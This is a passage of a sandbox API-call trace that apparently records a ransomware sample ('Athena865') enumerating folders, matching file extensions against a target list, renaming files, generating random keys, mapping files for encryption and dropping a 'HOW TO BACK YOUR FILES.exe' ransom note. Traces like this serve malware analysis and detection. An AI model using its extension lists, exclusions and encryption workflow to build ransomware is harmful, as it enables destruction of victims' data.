szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519998) returned 1 [0053.537] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.537] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.538] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10e20, lpName=0x0) returned 0x154 [0053.539] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10e20) returned 0x100000 [0053.544] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519998) returned 1 [0053.544] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.544] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0053.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0053.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.545] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.546] CloseHandle (hObject=0x154) returned 1 [0053.546] CloseHandle (hObject=0x17c) returned 1 [0053.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d9a8 | out: hHeap=0x4f0000) returned 1 [0053.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0053.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.546] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.546] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.546] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.546] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.546] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.546] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.546] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.546] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.547] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.547] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.547] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.547] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.547] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.547] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.547] lstrlenW (lpString="desktop.ini") returned 11 [0053.547] lstrcpyW (in: lpString1=0x241e89e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.547] lstrlenW (lpString="desktop.ini") returned 11 [0053.547] lstrlenW (lpString="Athena865") returned 9 [0053.547] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.547] lstrlenW (lpString=".dll") returned 4 [0053.547] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.547] lstrlenW (lpString=".lnk") returned 4 [0053.547] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.547] lstrlenW (lpString=".ini") returned 4 [0053.547] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.547] lstrlenW (lpString=".sys") returned 4 [0053.547] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.547] lstrlenW (lpString="desktop.ini") returned 11 [0053.547] lstrlenW (lpString="bak") returned 3 [0053.547] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.547] lstrlenW (lpString="ba_") returned 3 [0053.547] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.547] lstrlenW (lpString="dbb") returned 3 [0053.547] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.547] lstrlenW (lpString="vmdk") returned 4 [0053.547] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.547] lstrlenW (lpString="rar") returned 3 [0053.547] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.547] lstrlenW (lpString="zip") returned 3 [0053.547] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.547] lstrlenW (lpString="tgz") returned 3 [0053.548] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.548] lstrlenW (lpString="vbox") returned 4 [0053.548] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.548] lstrlenW (lpString="vdi") returned 3 [0053.548] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.548] lstrlenW (lpString="vhd") returned 3 [0053.548] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.548] lstrlenW (lpString="vhdx") returned 4 [0053.548] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.548] lstrlenW (lpString="avhd") returned 4 [0053.548] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.548] lstrlenW (lpString="db") returned 2 [0053.548] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.548] lstrlenW (lpString="db2") returned 3 [0053.548] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.548] lstrlenW (lpString="db3") returned 3 [0053.548] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.548] lstrlenW (lpString="dbf") returned 3 [0053.548] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.548] lstrlenW (lpString="mdf") returned 3 [0053.548] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.548] lstrlenW (lpString="mdb") returned 3 [0053.548] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.548] lstrlenW (lpString="sql") returned 3 [0053.548] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.548] lstrlenW (lpString="sqlite") returned 6 [0053.548] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.548] lstrlenW (lpString="sqlite3") returned 7 [0053.548] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.548] lstrlenW (lpString="sqlitedb") returned 8 [0053.548] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.548] lstrlenW (lpString="xml") returned 3 [0053.548] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.549] lstrlenW (lpString="$er") returned 3 [0053.549] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.549] lstrlenW (lpString="4dd") returned 3 [0053.549] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.549] lstrlenW (lpString="4dl") returned 3 [0053.549] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.549] lstrlenW (lpString="^^^") returned 3 [0053.549] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.549] lstrlenW (lpString="abs") returned 3 [0053.549] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.549] lstrlenW (lpString="abx") returned 3 [0053.549] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.549] lstrlenW (lpString="accdb") returned 5 [0053.549] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.549] lstrlenW (lpString="accdc") returned 5 [0053.549] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.549] lstrlenW (lpString="accde") returned 5 [0053.549] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.549] lstrlenW (lpString="accdr") returned 5 [0053.549] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.549] lstrlenW (lpString="accdt") returned 5 [0053.549] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.549] lstrlenW (lpString="accdw") returned 5 [0053.549] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.549] lstrlenW (lpString="accft") returned 5 [0053.549] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0053.549] lstrlenW (lpString="adb") returned 3 [0053.549] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.549] lstrlenW (lpString="adb") returned 3 [0053.549] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.549] lstrlenW (lpString="ade") returned 3 [0053.549] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.549] lstrlenW (lpString="adf") returned 3 [0053.549] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.550] lstrlenW (lpString="adn") returned 3 [0053.550] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.550] lstrlenW (lpString="adp") returned 3 [0053.550] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.550] lstrlenW (lpString="alf") returned 3 [0053.550] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.550] lstrlenW (lpString="ask") returned 3 [0053.550] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.550] lstrlenW (lpString="btr") returned 3 [0053.550] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.550] lstrlenW (lpString="cat") returned 3 [0053.550] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.550] lstrlenW (lpString="cdb") returned 3 [0053.550] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.550] lstrlenW (lpString="ckp") returned 3 [0053.550] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.550] lstrlenW (lpString="cma") returned 3 [0053.550] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.550] lstrlenW (lpString="cpd") returned 3 [0053.550] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.550] lstrlenW (lpString="dacpac") returned 6 [0053.550] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.550] lstrlenW (lpString="dad") returned 3 [0053.550] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.550] lstrlenW (lpString="dadiagrams") returned 10 [0053.550] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.550] lstrlenW (lpString="daschema") returned 8 [0053.550] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.550] lstrlenW (lpString="db-journal") returned 10 [0053.550] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.550] lstrlenW (lpString="db-shm") returned 6 [0053.550] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.550] lstrlenW (lpString="db-wal") returned 6 [0053.550] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.551] lstrlenW (lpString="dbc") returned 3 [0053.551] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.551] lstrlenW (lpString="dbs") returned 3 [0053.551] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.551] lstrlenW (lpString="dbt") returned 3 [0053.551] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.551] lstrlenW (lpString="dbv") returned 3 [0053.551] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.551] lstrlenW (lpString="dbx") returned 3 [0053.551] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.551] lstrlenW (lpString="dcb") returned 3 [0053.551] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.551] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Contacts\\desktop.ini.Athena865") returned 64 [0053.551] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Contacts\\desktop.ini" (normalized: "c:\\documents and settings\\default\\contacts\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Contacts\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\contacts\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.553] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Contacts\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\contacts\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.553] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=412) returned 1 [0053.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d9a8 [0053.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0053.554] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519998) returned 1 [0053.554] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.554] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.555] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a0, lpName=0x0) returned 0x154 [0053.556] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a0) returned 0x100000 [0053.558] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519998) returned 1 [0053.559] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.559] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0053.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0053.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.560] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.561] CloseHandle (hObject=0x154) returned 1 [0053.561] CloseHandle (hObject=0x17c) returned 1 [0053.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d9a8 | out: hHeap=0x4f0000) returned 1 [0053.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0053.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.561] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.561] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.561] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0053.561] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.561] ReleaseMutex (hMutex=0xec) returned 1 [0053.561] CloseHandle (hObject=0xec) returned 1 [0053.561] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Cookies" | out: lpString1="C:\\Documents and Settings\\Default\\Cookies") returned="C:\\Documents and Settings\\Default\\Cookies" [0053.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528770 | out: hHeap=0x4f0000) returned 1 [0053.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c758 | out: hHeap=0x4f0000) returned 1 [0053.561] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Cookies") returned 41 [0053.561] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AB76860983A037C7C1353A6C878E9CEA") returned 0xec [0053.561] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.561] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Cookies" | out: lpString1="C:\\Documents and Settings\\Default\\Cookies") returned="C:\\Documents and Settings\\Default\\Cookies" [0053.561] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.561] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.562] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\cookies\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.562] GetLastError () returned 0x0 [0053.562] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.562] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.563] CloseHandle (hObject=0xf4) returned 1 [0053.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.563] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.563] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Cookies\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.563] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.564] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.564] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.564] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.564] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.564] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.564] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.564] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.564] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.564] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.564] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd021fb60, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2=".") returned 1 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2="..") returned 1 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2="windows") returned -1 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2="bootmgr") returned 1 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2="temp") returned -1 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2="pagefile.sys") returned -1 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2="boot") returned 1 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2="ids.txt") returned 1 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2="ntuser.dat") returned -1 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2="perflogs") returned -1 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2="MSBuild") returned -1 [0053.564] lstrlenW (lpString="index.dat") returned 9 [0053.564] lstrcpyW (in: lpString1=0x241e89c, lpString2="index.dat" | out: lpString1="index.dat") returned="index.dat" [0053.564] lstrlenW (lpString="index.dat") returned 9 [0053.564] lstrlenW (lpString="Athena865") returned 9 [0053.564] lstrlenW (lpString=".dll") returned 4 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2=".dll") returned 1 [0053.564] lstrlenW (lpString=".lnk") returned 4 [0053.564] lstrcmpiW (lpString1="index.dat", lpString2=".lnk") returned 1 [0053.565] lstrlenW (lpString=".ini") returned 4 [0053.565] lstrcmpiW (lpString1="index.dat", lpString2=".ini") returned 1 [0053.565] lstrlenW (lpString=".sys") returned 4 [0053.565] lstrcmpiW (lpString1="index.dat", lpString2=".sys") returned 1 [0053.565] lstrlenW (lpString="index.dat") returned 9 [0053.565] lstrlenW (lpString="bak") returned 3 [0053.565] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1 [0053.565] lstrlenW (lpString="ba_") returned 3 [0053.565] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1 [0053.565] lstrlenW (lpString="dbb") returned 3 [0053.565] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1 [0053.565] lstrlenW (lpString="vmdk") returned 4 [0053.565] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1 [0053.565] lstrlenW (lpString="rar") returned 3 [0053.565] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1 [0053.565] lstrlenW (lpString="zip") returned 3 [0053.565] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1 [0053.565] lstrlenW (lpString="tgz") returned 3 [0053.565] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1 [0053.565] lstrlenW (lpString="vbox") returned 4 [0053.565] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1 [0053.565] lstrlenW (lpString="vdi") returned 3 [0053.565] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1 [0053.565] lstrlenW (lpString="vhd") returned 3 [0053.565] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1 [0053.565] lstrlenW (lpString="vhdx") returned 4 [0053.565] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1 [0053.565] lstrlenW (lpString="avhd") returned 4 [0053.565] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1 [0053.565] lstrlenW (lpString="db") returned 2 [0053.565] lstrcmpiW (lpString1="at", lpString2="db") returned -1 [0053.565] lstrlenW (lpString="db2") returned 3 [0053.565] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1 [0053.565] lstrlenW (lpString="db3") returned 3 [0053.565] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1 [0053.566] lstrlenW (lpString="dbf") returned 3 [0053.566] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1 [0053.566] lstrlenW (lpString="mdf") returned 